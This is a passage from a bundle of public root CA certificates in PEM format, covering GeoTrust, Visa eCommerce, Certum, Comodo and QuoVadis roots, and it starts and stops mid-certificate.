mqUPuLk/IH2uSrW4nOQdtqvmlKXBx4Ot2/Unhw4EbNX/3aBd7YdStysVAq45pmp06drE57xNNB6p XE0zX5IJL4hmXXeXxx12E6nV5fEWCRE11azbJHFwLJhWC9kXtNHjUStedejV0NxPNO3CBWaAocvm Mw== -----END CERTIFICATE----- GeoTrust Global CA 2 ==================== -----BEGIN CERTIFICATE----- MIIDZjCCAk6gAwIBAgIBATANBgkqhkiG9w0BAQUFADBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMN R2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgR2xvYmFsIENBIDIwHhcNMDQwMzA0MDUw MDAwWhcNMTkwMzA0MDUwMDAwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5j LjEdMBsGA1UEAxMUR2VvVHJ1c3QgR2xvYmFsIENBIDIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQDvPE1APRDfO1MA4Wf+lGAVPoWI8YkNkMgoI5kF6CsgncbzYEbYwbLVjDHZ3CB5JIG/ NTL8Y2nbsSpr7iFY8gjpeMtvy/wWUsiRxP89c96xPqfCfWbB9X5SJBri1WeR0IIQ13hLTytCOb1k LUCgsBDTOEhGiKEMuzozKmKY+wCdE1l/bztyqu6mD4b5BWHqZ38MN5aL5mkWRxHCJ1kDs6ZgwiFA Vvqgx306E+PsV8ez1q6diYD3Aecs9pYrEw15LNnA5IZ7S4wMcoKK+xfNAGw6EzywhIdLFnopsk/b HdQL82Y3vdj2V7teJHq4PIu5+pIaGoSe2HSPqht/XvT+RSIhAgMBAAGjYzBhMA8GA1UdEwEB/wQF MAMBAf8wHQYDVR0OBBYEFHE4NvICMVNHK266ZUapEBVYIAUJMB8GA1UdIwQYMBaAFHE4NvICMVNH K266ZUapEBVYIAUJMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQUFAAOCAQEAA/e1K6tdEPx7 srJerJsOflN4WT5CBP51o62sgU7XAotexC3IUnbHLB/8gTKY0UvGkpMzNTEv/NgdRN3ggX+d6Yvh ZJFiCzkIjKx0nVnZellSlxG5FntvRdOW2TF9AjYPnDtuzywNA0ZF66D0f0hExghAzN4bcLUprbqL OzRldRtxIR0sFAqwlpW41uryZfspuk/qkZN0abby/+Ea0AzRdoXLiiW9l14sbxWZJue2Kf8i7MkC x1YAzUm5s2x7UwQa4qjJqhIFI8LO57sEAszAR6LkxCkvW0VXiVHuPOtSCP8HNR6fNWpHSlaY0VqF H4z1Ir+rzoPz4iIprn2DQKi6bA== -----END CERTIFICATE----- GeoTrust Universal CA ===================== -----BEGIN CERTIFICATE----- MIIFaDCCA1CgAwIBAgIBATANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJVUzEWMBQGA1UEChMN R2VvVHJ1c3QgSW5jLjEeMBwGA1UEAxMVR2VvVHJ1c3QgVW5pdmVyc2FsIENBMB4XDTA0MDMwNDA1 MDAwMFoXDTI5MDMwNDA1MDAwMFowRTELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IElu Yy4xHjAcBgNVBAMTFUdlb1RydXN0IFVuaXZlcnNhbCBDQTCCAiIwDQYJKoZIhvcNAQEBBQADggIP ADCCAgoCggIBAKYVVaCjxuAfjJ0hUNfBvitbtaSeodlyWL0AG0y/YckUHUWCq8YdgNY96xCcOq9t JPi8cQGeBvV8Xx7BDlXKg5pZMK4ZyzBIle0iN430SppyZj6tlcDgFgDgEB8rMQ7XlFTTQjOgNB0e RXbdT8oYN+yFFXoZCPzVx5zw8qkuEKmS5j1YPakWaDwvdSEYfyh3peFhF7em6fgemdtzbvQKoiFs 7tqqhZJmr/Z6a4LauiIINQ/PQvE1+mrufislzDoR5G2vc7J2Ha3QsnhnGqQ5HFELZ1aD/ThdDc7d 8Lsrlh/eezJS/R27tQahsiFepdaVaH/wmZ7cRQg+59IJDTWU3YBOU5fXtQlEIGQWFwMCTFMNaN7V qnJNk22CDtucvc+081xdVHppCZbW2xHBjXWotM85yM48vCR85mLK4b19p71XZQvk/iXttmkQ3Cga Rr0BHdCXteGYO8A3ZNY9lO4L4fUorgtWv3GLIylBjobFS1J72HGrH4oVpjuDWtdYAVHGTEHZf9hB Z3KiKN9gg6meyHv8U3NyWfWTehd2Ds735VzZC1U0oqpbtWpU5xPKV+yXbfReBi9Fi1jUIxaS5BZu KGNZMN9QAZxjiRqf2xeUgnA3wySemkfWWspOqGmJch+RbNt+nhutxx9z3SxPGWX9f5NAEC7S8O08 ni4oPmkmM8V7AgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNq7LqqwDLiIJlF0 XG0D08DYj3rWMB8GA1UdIwQYMBaAFNq7LqqwDLiIJlF0XG0D08DYj3rWMA4GA1UdDwEB/wQEAwIB hjANBgkqhkiG9w0BAQUFAAOCAgEAMXjmx7XfuJRAyXHEqDXsRh3ChfMoWIawC/yOsjmPRFWrZIRc aanQmjg8+uUfNeVE44B5lGiku8SfPeE0zTBGi1QrlaXv9z+ZhP015s8xxtxqv6fXIwjhmF7DWgh2 qaavdy+3YL1ERmrvl/9zlcGO6JP7/TG37FcREUWbMPEaiDnBTzynANXH/KttgCJwpQzgXQQpAvvL oJHRfNbDflDVnVi+QTjruXU8FdmbyUqDWcDaU/0zuzYYm4UPFd3uLax2k7nZAY1IEKj79TiG8dsK xr2EoyNB3tZ3b4XUhRxQ4K5RirqNPnbiucon8l+f725ZDQbYKxek0nxru18UGkiPGkzns0ccjkxF KyDuSN/n3QmOGKjaQI2SJhFTYXNd673nxE0pN2HrrDktZy4W1vUAg4WhzH92xH3kt0tm7wNFYGm2 DFKWkoRepqO1pD4r2czYG0eq8kTaT/kD6PAUyz/zg97QwVTjt+gKN02LIFkDMBmhLMi9ER/frslK xfMnZmaGrGiR/9nmUxwPi1xpZQomyB40w11Re9epnAahNt3ViZS82eQtDF4JbAiXfKM9fJP/P6EU p8+1Xevb2xzEdt+Iub1FBZUbrvxGakyvSOPOrg/SfuvmbJxPgWp6ZKy7PtXny3YuxadIwVyQD8vI P/rmMuGNG2+k5o7Y+SlIis5z/iw= -----END CERTIFICATE----- GeoTrust Universal CA 2 ======================= -----BEGIN CERTIFICATE----- MIIFbDCCA1SgAwIBAgIBATANBgkqhkiG9w0BAQUFADBHMQswCQYDVQQGEwJVUzEWMBQGA1UEChMN R2VvVHJ1c3QgSW5jLjEgMB4GA1UEAxMXR2VvVHJ1c3QgVW5pdmVyc2FsIENBIDIwHhcNMDQwMzA0 MDUwMDAwWhcNMjkwMzA0MDUwMDAwWjBHMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3Qg SW5jLjEgMB4GA1UEAxMXR2VvVHJ1c3QgVW5pdmVyc2FsIENBIDIwggIiMA0GCSqGSIb3DQEBAQUA A4ICDwAwggIKAoICAQCzVFLByT7y2dyxUxpZKeexw0Uo5dfR7cXFS6GqdHtXr0om/Nj1XqduGdt0 DE81WzILAePb63p3NeqqWuDW6KFXlPCQo3RWlEQwAx5cTiuFJnSCegx2oG9NzkEtoBUGFF+3Qs17 j1hhNNwqCPkuwwGmIkQcTAeC5lvO0Ep8BNMZcyfwqph/Lq9O64ceJHdqXbboW0W63MOhBW9Wjo8Q JqVJwy7XQYci4E+GymC16qFjwAGXEHm9ADwSbSsVsaxLse4YuU6W3Nx2/zu+z18DwPw76L5GG//a QMJS9/7jOvdqdzXQ2o3rXhhqMcceujwbKNZrVMaqW9eiLBsZzKIC9ptZvTdrhrVtgrrY6slWvKk2 WP0+GfPtDCapkzj4T8FdIgbQl+rhrcZV4IErKIM6+vR7IVEAvlI4zs1meaj0gVbi0IMJR1FbUGrP 20gaXT73y/Zl92zxlfgCOzJWgjl6W70viRu/obTo/3+NjN8D8WBOWBFM66M/ECuDmgFz2ZRthAAn ZqzwcEAJQpKtT5MNYQlRJNiS1QuUYbKHsu3/mjX/hVTK7URDrBs8FmtISgocQIgfksILAAX/8sgC SqSqqcyZlpwvWOB94b67B9xfBHJcMTTD7F8t4D1kkCLm0ey4Lt1ZrtmhN79UNdxzMk+MBB4zsslG 8dhcyFVQyWi9qLo2CQIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR281Xh+qQ2 +/CfXGJx7Tz0RzgQKzAfBgNVHSMEGDAWgBR281Xh+qQ2+/CfXGJx7Tz0RzgQKzAOBgNVHQ8BAf8E BAMCAYYwDQYJKoZIhvcNAQEFBQADggIBAGbBxiPz2eAubl/oz66wsCVNK/g7WJtAJDday6sWSf+z dXkzoS9tcBc0kf5nfo/sm+VegqlVHy/c1FEHEv6sFj4sNcZj/NwQ6w2jqtB8zNHQL1EuxBRa3ugZ 4T7GzKQp5y6EqgYweHZUcyiYWTjgAA1i00J9IZ+uPTqM1fp3DRgrFg5fNuH8KrUwJM/gYwx7WBr+ mbpCErGR9Hxo4sjoryzqyX6uuyo9DRXcNJW2GHSoag/HtPQTxORb7QrSpJdMKu0vbBKJPfEncKpq A1Ihn0CoZ1Dy81of398j9tx4TuaYT1U6U+Pv8vSfx3zYWK8pIpe44L2RLrB27FcRz+8pRPPphXpg Y+RdM4kX2TGq2tbzGDVyz4crL2MjhF2EjD9XoIj8mZEoJmmZ1I+XRL6O1UixpCgp8RW04eWe3fiP pm8m1wk8OhwRDqZsN/etRIcsKMfYdIKz0G9KV7s1KSegi+ghp4dkNl3M2Basx7InQJJVOCiNUW7d FGdTbHFcJoRNdVq2fmBWqU2t+5sel/MN2dKXVHfaPRK34B7vCAas+YWH6aLcr34YEoP9VhdBLtUp gn2Z9DH2canPLAEnpQW5qrJITirvn5NSUZU8UnOOVkwXQMAJKOSLakhT2+zNVVXxxvjpoixMptEm X36vWkzaH6byHCx+rgIW0lbQL1dTR+iS -----END CERTIFICATE----- Visa eCommerce Root =================== -----BEGIN CERTIFICATE----- MIIDojCCAoqgAwIBAgIQE4Y1TR0/BvLB+WUF1ZAcYjANBgkqhkiG9w0BAQUFADBrMQswCQYDVQQG EwJVUzENMAsGA1UEChMEVklTQTEvMC0GA1UECxMmVmlzYSBJbnRlcm5hdGlvbmFsIFNlcnZpY2Ug QXNzb2NpYXRpb24xHDAaBgNVBAMTE1Zpc2EgZUNvbW1lcmNlIFJvb3QwHhcNMDIwNjI2MDIxODM2 WhcNMjIwNjI0MDAxNjEyWjBrMQswCQYDVQQGEwJVUzENMAsGA1UEChMEVklTQTEvMC0GA1UECxMm VmlzYSBJbnRlcm5hdGlvbmFsIFNlcnZpY2UgQXNzb2NpYXRpb24xHDAaBgNVBAMTE1Zpc2EgZUNv bW1lcmNlIFJvb3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvV95WHm6h2mCxlCfL F9sHP4CFT8icttD0b0/Pmdjh28JIXDqsOTPHH2qLJj0rNfVIsZHBAk4ElpF7sDPwsRROEW+1QK8b RaVK7362rPKgH1g/EkZgPI2h4H3PVz4zHvtH8aoVlwdVZqW1LS7YgFmypw23RuwhY/81q6UCzyr0 TP579ZRdhE2o8mCP2w4lPJ9zcc+U30rq299yOIzzlr3xF7zSujtFWsan9sYXiwGd/BmoKoMWuDpI /k4+oKsGGelT84ATB+0tvz8KPFUgOSwsAGl0lUq8ILKpeeUYiZGo3BxN77t+Nwtd/jmliFKMAGzs GHxBvfaLdXe6YJ2E5/4tAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEG MB0GA1UdDgQWBBQVOIMPPyw/cDMezUb+B4wg4NfDtzANBgkqhkiG9w0BAQUFAAOCAQEAX/FBfXxc CLkr4NWSR/pnXKUTwwMhmytMiUbPWU3J/qVAtmPN3XEolWcRzCSs00Rsca4BIGsDoo8Ytyk6feUW YFN4PMCvFYP3j1IzJL1kk5fui/fbGKhtcbP3LBfQdCVp9/5rPJS+TUtBjE7ic9DjkCJzQ83z7+pz zkWKsKZJ/0x9nXGIxHYdkFsd7v3M9+79YKWxehZx0RbQfBI8bGmX265fOZpwLwU8GUYEmSA20GBu YQa7FkKMcPcw++DbZqMAAb3mLNqRX6BGi01qnD093QVG/na/oAo85ADmJ7f/hC3euiInlhBx6yLt 398znM/jra6O1I7mT1GvFpLgXPYHDw== -----END CERTIFICATE----- Certum Root CA ============== -----BEGIN CERTIFICATE----- MIIDDDCCAfSgAwIBAgIDAQAgMA0GCSqGSIb3DQEBBQUAMD4xCzAJBgNVBAYTAlBMMRswGQYDVQQK ExJVbml6ZXRvIFNwLiB6IG8uby4xEjAQBgNVBAMTCUNlcnR1bSBDQTAeFw0wMjA2MTExMDQ2Mzla Fw0yNzA2MTExMDQ2MzlaMD4xCzAJBgNVBAYTAlBMMRswGQYDVQQKExJVbml6ZXRvIFNwLiB6IG8u by4xEjAQBgNVBAMTCUNlcnR1bSBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAM6x wS7TT3zNJc4YPk/EjG+AanPIW1H4m9LcuwBcsaD8dQPugfCI7iNS6eYVM42sLQnFdvkrOYCJ5JdL kKWoePhzQ3ukYbDYWMzhbGZ+nPMJXlVjhNWo7/OxLjBos8Q82KxujZlakE403Daaj4GIULdtlkIJ 89eVgw1BS7Bqa/j8D35in2fE7SZfECYPCE/wpFcozo+47UX2bu4lXapuOb7kky/ZR6By6/qmW6/K Uz/iDsaWVhFu9+lmqSbYf5VT7QqFiLpPKaVCjF62/IUgAKpoC6EahQGcxEZjgoi2IrHu/qpGWX7P NSzVttpd90gzFFS269lvzs2I1qsb2pY7HVkCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkq hkiG9w0BAQUFAAOCAQEAuI3O7+cUus/usESSbLQ5PqKEbq24IXfS1HeCh+YgQYHu4vgRt2PRFze+ GXYkHAQaTOs9qmdvLdTN/mUxcMUbpgIKumB7bVjCmkn+YzILa+M6wKyrO7Do0wlRjBCDxjTgxSvg GrZgFCdsMneMvLJymM/NzD+5yCRCFNZX/OYmQ6kd5YCQzgNUKD73P9P4Te1qCjqTE5s7FCMTY5w/ 0YcneeVMUeMBrYVdGjux1XMQpNPyvG5k9VpWkKjHDkx0Dy5xO/fIR/RpbxXyEV6DHpx8Uq79AtoS qFlnGNu8cN2bsWntgM6JQEhqDjXKKWYVIZQs6GAqm4VKQPNriiTsBhYscw== -----END CERTIFICATE----- Comodo AAA Services root ======================== -----BEGIN CERTIFICATE----- MIIEMjCCAxqgAwIBAgIBATANBgkqhkiG9w0BAQUFADB7MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg TGltaXRlZDEhMB8GA1UEAwwYQUFBIENlcnRpZmljYXRlIFNlcnZpY2VzMB4XDTA0MDEwMTAwMDAw MFoXDTI4MTIzMTIzNTk1OVowezELMAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFuY2hl c3RlcjEQMA4GA1UEBwwHU2FsZm9yZDEaMBgGA1UECgwRQ29tb2RvIENBIExpbWl0ZWQxITAfBgNV BAMMGEFBQSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAL5AnfRu4ep2hxxNRUSOvkbIgwadwSr+GB+O5AL686tdUIoWMQuaBtDFcCLNSS1UY8y2bmhG C1Pqy0wkwLxyTurxFa70VJoSCsN6sjNg4tqJVfMiWPPe3M/vg4aijJRPn2jymJBGhCfHdr/jzDUs i14HZGWCwEiwqJH5YZ92IFCokcdmtet4YgNW8IoaE+oxox6gmf049vYnMlhvB/VruPsUK6+3qszW Y19zjNoFmag4qMsXeDZRrOme9Hg6jc8P2ULimAyrL58OAd7vn5lJ8S3frHRNG5i1R8XlKdH5kBjH Ypy+g8cmez6KJcfA3Z3mNWgQIJ2P2N7Sw4ScDV7oL8kCAwEAAaOBwDCBvTAdBgNVHQ4EFgQUoBEK Iz6W8Qfs4q8p74Klf9AwpLQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wewYDVR0f BHQwcjA4oDagNIYyaHR0cDovL2NybC5jb21vZG9jYS5jb20vQUFBQ2VydGlmaWNhdGVTZXJ2aWNl cy5jcmwwNqA0oDKGMGh0dHA6Ly9jcmwuY29tb2RvLm5ldC9BQUFDZXJ0aWZpY2F0ZVNlcnZpY2Vz LmNybDANBgkqhkiG9w0BAQUFAAOCAQEACFb8AvCb6P+k+tZ7xkSAzk/ExfYAWMymtrwUSWgEdujm 7l3sAg9g1o1QGE8mTgHj5rCl7r+8dFRBv/38ErjHT1r0iWAFf2C3BUrz9vHCv8S5dIa2LX1rzNLz Rt0vxuBqw8M0Ayx9lt1awg6nCpnBBYurDC/zXDrPbDdVCYfeU0BsWO/8tqtlbgT2G9w84FoVxp7Z 8VlIMCFlA2zs6SFz7JsDoeA3raAVGI/6ugLOpyypEBMs1OUIJqsil2D4kF501KKaU73yqWjgom7C 12yxow+ev+to51byrvLjKzg6CYG1a4XXvi3tPxq3smPi9WIsgtRqAEFQ8TmDn5XpNpaYbg== -----END CERTIFICATE----- Comodo Secure Services root =========================== -----BEGIN CERTIFICATE----- MIIEPzCCAyegAwIBAgIBATANBgkqhkiG9w0BAQUFADB+MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg TGltaXRlZDEkMCIGA1UEAwwbU2VjdXJlIENlcnRpZmljYXRlIFNlcnZpY2VzMB4XDTA0MDEwMTAw MDAwMFoXDTI4MTIzMTIzNTk1OVowfjELMAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFu Y2hlc3RlcjEQMA4GA1UEBwwHU2FsZm9yZDEaMBgGA1UECgwRQ29tb2RvIENBIExpbWl0ZWQxJDAi BgNVBAMMG1NlY3VyZSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczCCASIwDQYJKoZIhvcNAQEBBQADggEP ADCCAQoCggEBAMBxM4KK0HDrc4eCQNUd5MvJDkKQ+d40uaG6EfQlhfPMcm3ye5drswfxdySRXyWP 9nQ95IDC+DwN879A6vfIUtFyb+/Iq0G4bi4XKpVpDM3SHpR7LZQdqnXXs5jLrLxkU0C8j6ysNstc rbvd4JQX7NFc0L/vpZXJkMWwrPsbQ996CF23uPJAGysnnlDOXmWCiIxe004MeuoIkbY2qitC++rC oznl2yY4rYsK7hljxxwk3wN42ubqwUcaCwtGCd0C/N7Lh1/XMGNooa7cMqG6vv5Eq2i2pRcV/b3V p6ea5EQz6YiO/O1R65NxTq0B50SOqy3LqP4BSUjwwN3HaNiS/j0CAwEAAaOBxzCBxDAdBgNVHQ4E FgQUPNiTiMLAggnMAZkGkyDpnnAJY08wDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8w gYEGA1UdHwR6MHgwO6A5oDeGNWh0dHA6Ly9jcmwuY29tb2RvY2EuY29tL1NlY3VyZUNlcnRpZmlj YXRlU2VydmljZXMuY3JsMDmgN6A1hjNodHRwOi8vY3JsLmNvbW9kby5uZXQvU2VjdXJlQ2VydGlm aWNhdGVTZXJ2aWNlcy5jcmwwDQYJKoZIhvcNAQEFBQADggEBAIcBbSMdflsXfcFhMs+P5/OKlFlm 4J4oqF7Tt/Q05qo5spcWxYJvMqTpjOev/e/C6LlLqqP05tqNZSH7uoDrJiiFGv45jN5bBAS0VPmj Z55B+glSzAVIqMk/IQQezkhr/IXownuvf7fM+F86/TXGDe+X3EyrEeFryzHRbPtIgKvcnDe4IRRL DXE97IMzbtFuMhbsmMcWi1mmNKsFVy2T96oTy9IT4rcuO81rUBcJaD61JlfutuC23bkpgHl9j6Pw pCikFcSF9CfUa7/lXORlAnZUtOM3ZiTTGWHIUhDlizeauan5Hb/qmZJhlv8BzaFfDbxxvA6sCx1H RR3B7Hzs/Sk= -----END CERTIFICATE----- Comodo Trusted Services root ============================ -----BEGIN CERTIFICATE----- MIIEQzCCAyugAwIBAgIBATANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg TGltaXRlZDElMCMGA1UEAwwcVHJ1c3RlZCBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczAeFw0wNDAxMDEw MDAwMDBaFw0yODEyMzEyMzU5NTlaMH8xCzAJBgNVBAYTAkdCMRswGQYDVQQIDBJHcmVhdGVyIE1h bmNoZXN0ZXIxEDAOBgNVBAcMB1NhbGZvcmQxGjAYBgNVBAoMEUNvbW9kbyBDQSBMaW1pdGVkMSUw IwYDVQQDDBxUcnVzdGVkIENlcnRpZmljYXRlIFNlcnZpY2VzMIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEA33FvNlhTWvI2VFeAxHQIIO0Yfyod5jWaHiWsnOWWfnJSoBVC21ndZHoa0Lh7 3TkVvFVIxO06AOoxEbrycXQaZ7jPM8yoMa+j49d/vzMtTGo87IvDktJTdyR0nAducPy9C1t2ul/y /9c3S0pgePfw+spwtOpZqqPOSC+pw7ILfhdyFgymBwwbOM/JYrc/oJOlh0Hyt3BAd9i+FHzjqMB6 juljatEPmsbS9Is6FARW1O24zG71++IsWL1/T2sr92AkWCTOJu80kTrV44HQsvAEAtdbtz6SrGsS ivnkBbA7kUlcsutT6vifR4buv5XAwAaf0lteERv0xwQ1KdJVXOTt6wIDAQABo4HJMIHGMB0GA1Ud DgQWBBTFe1i97doladL3WRaoszLAeydb9DAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB /zCBgwYDVR0fBHwwejA8oDqgOIY2aHR0cDovL2NybC5jb21vZG9jYS5jb20vVHJ1c3RlZENlcnRp ZmljYXRlU2VydmljZXMuY3JsMDqgOKA2hjRodHRwOi8vY3JsLmNvbW9kby5uZXQvVHJ1c3RlZENl cnRpZmljYXRlU2VydmljZXMuY3JsMA0GCSqGSIb3DQEBBQUAA4IBAQDIk4E7ibSvuIQSTI3S8Ntw uleGFTQQuS9/HrCoiWChisJ3DFBKmwCL2Iv0QeLQg4pKHBQGsKNoBXAxMKdTmw7pSqBYaWcOrp32 pSxBvzwGa+RZzG0Q8ZZvH9/0BAKkn0U+yNj6NkZEUD+Cl5EfKNsYEYwq5GWDVxISjBc/lDb+XbDA BHcTuPQV1T84zJQ6VdCsmPW6AF/ghhmBeC8owH7TzEIK9a5QoNE+xqFx7D+gIIxmOom0jtTYsU0l R+4viMi14QVFwL4Ucd56/Y57fU0IlqUSc/AtyjcndBInTMu2l+nZrghtWjlA3QVHdWpaIbOjGM9O 9y5Xt5hwXsjEeLBi -----END CERTIFICATE----- QuoVadis Root CA ================ -----BEGIN CERTIFICATE----- MIIF0DCCBLigAwIBAgIEOrZQizANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJCTTEZMBcGA1UE ChMQUXVvVmFkaXMgTGltaXRlZDElMCMGA1UECxMcUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0 eTEuMCwGA1UEAxMlUXVvVmFkaXMgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wMTAz MTkxODMzMzNaFw0yMTAzMTcxODMzMzNaMH8xCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRp cyBMaW1pdGVkMSUwIwYDVQQLExxSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MS4wLAYDVQQD EyVRdW9WYWRpcyBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEAv2G1lVO6V/z68mcLOhrfEYBklbTRvM16z/Ypli4kVEAkOPcahdxYTMuk J0KX0J+DisPkBgNbAKVRHnAEdOLB1Dqr1607BxgFjv2DrOpm2RgbaIr1VxqYuvXtdj182d6UajtL F8HVj71lODqV0D1VNk7feVcxKh7YWWVJWCCYfqtffp/p1k3sg3Spx2zY7ilKhSoGFPlU5tPaZQeL YzcS19Dsw3sgQUSj7cugF+FxZc4dZjH3dgEZyH0DWLaVSR2mEiboxgx24ONmy+pdpibu5cxfvWen AScOospUxbF6lR1xHkopigPcakXBpBlebzbNw6Kwt/5cOOJSvPhEQ+aQuwIDAQABo4ICUjCCAk4w PQYIKwYBBQUHAQEEMTAvMC0GCCsGAQUFBzABhiFodHRwczovL29jc3AucXVvdmFkaXNvZmZzaG9y ZS5jb20wDwYDVR0TAQH/BAUwAwEB/zCCARoGA1UdIASCAREwggENMIIBCQYJKwYBBAG+WAABMIH7 MIHUBggrBgEFBQcCAjCBxxqBxFJlbGlhbmNlIG9uIHRoZSBRdW9WYWRpcyBSb290IENlcnRpZmlj YXRlIGJ5IGFueSBwYXJ0eSBhc3N1bWVzIGFjY2VwdGFuY2Ugb2YgdGhlIHRoZW4gYXBwbGljYWJs ZSBzdGFuZGFyZCB0ZXJtcyBhbmQgY29uZGl0aW9ucyBvZiB1c2UsIGNlcnRpZmljYXRpb24gcHJh Y3RpY2VzLCBhbmQgdGhlIFF1b1ZhZGlzIENlcnRpZmljYXRlIFBvbGljeS4wIgYIKwYBBQUHAgEW Fmh0dHA6Ly93d3cucXVvdmFkaXMuYm0wHQYDVR0OBBYEFItLbe3TKbkGGew5Oanwl4Rqy+/fMIGu BgNVHSMEgaYwgaOAFItLbe3TKbkGGew5Oanwl4Rqy+/foYGEpIGBMH8xCzAJBgNVBAYTAkJNMRkw FwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMSUwIwYDVQQLExxSb290IENlcnRpZmljYXRpb24gQXV0 aG9yaXR5MS4wLAYDVQQDEyVRdW9WYWRpcyBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggQ6 tlCLMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOCAQEAitQUtf70mpKnGdSkfnIYj9lo fFIk3WdvOXrEql494liwTXCYhGHoG+NpGA7O+0dQoE7/8CQfvbLO9Sf87C9TqnN7Az10buYWnuul LsS/VidQK2K6vkscPFVcQR0kvoIgR13VRH56FmjffU1RcHhXHTMe/QKZnAzNCgVPx7uOpHX6Sm2x gI4JVrmcGmD+XcHXetwReNDWXcG31a0ymQM6isxUJTkxgXsTIlG6Rmyhu576BGxJJnSP0nPrzDCi 5upZIof4l/UO/erMkqQWxFIY6iHOsfHmhIHluqmGKPJDWl0Snawe2ajlCmqnf6CHKc/yiU3U7MXi 5nrQNiOKSnQ2+Q== -----END CERTIFICATE----- QuoVadis Root CA 2 ================== -----BEGIN CERTIFICATE----- MIIFtzCCA5+gAwIBAgICBQkwDQYJKoZIhvcNAQEFBQAwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoT EFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMTElF1b1ZhZGlzIFJvb3QgQ0EgMjAeFw0wNjExMjQx ODI3MDBaFw0zMTExMjQxODIzMzNaMEUxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM aW1pdGVkMRswGQYDVQQDExJRdW9WYWRpcyBSb290IENBIDIwggIiMA0GCSqGSIb3DQEBAQUAA4IC DwAwggIKAoICAQCaGMpLlA0ALa8DKYrwD4HIrkwZhR0In6spRIXzL4GtMh6QRr+jhiYaHv5+HBg6 XJxgFyo6dIMzMH1hVBHL7avg5tKifvVrbxi3Cgst/ek+7wrGsxDp3MJGF/hd/aTa/55JWpzmM+Yk lvc/ulsrHHo1wtZn/qtmUIttKGAr79dgw8eTvI02kfN/+NsRE8Scd3bBrrcCaoF6qUWD4gXmuVbB lDePSHFjIuwXZQeVikvfj8ZaCuWw419eaxGrDPmF60Tp+ARz8un+XJiM9XOva7R+zdRcAitMOeGy lZUtQofX1bOQQ7dsE/He3fbE+Ik/0XX1ksOR1YqI0JDs3G3eicJlcZaLDQP9nL9bFqyS2+r+eXyt 66/3FsvbzSUr5R/7mp/iUcw6UwxI5g69ybR2BlLmEROFcmMDBOAENisgGQLodKcftslWZvB1Jdxn wQ5hYIizPtGo/KPaHbDRsSNU30R2be1B2MGyIrZTHN81Hdyhdyox5C315eXbyOD/5YDXC2Og/zOh D7osFRXql7PSorW+8oyWHhqPHWykYTe5hnMz15eWniN9gqRMgeKh0bpnX5UHoycR7hYQe7xFSkyy BNKr79X9DFHOUGoIMfmR2gyPZFwDwzqLID9ujWc9Otb+fVuIyV77zGHcizN300QyNQliBJIWENie J0f7OyHj+OsdWwIDAQABo4GwMIGtMA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1Ud DgQWBBQahGK8SEwzJQTU7tD2A8QZRtGUazBuBgNVHSMEZzBlgBQahGK8SEwzJQTU7tD2A8QZRtGU a6FJpEcwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMT ElF1b1ZhZGlzIFJvb3QgQ0EgMoICBQkwDQYJKoZIhvcNAQEFBQADggIBAD4KFk2fBluornFdLwUv Z+YTRYPENvbzwCYMDbVHZF34tHLJRqUDGCdViXh9duqWNIAXINzng/iN/Ae42l9NLmeyhP3ZRPx3 UIHmfLTJDQtyU/h2BwdBR5YM++CCJpNVjP4iH2BlfF/nJrP3MpCYUNQ3cVX2kiF495V5+vgtJodm 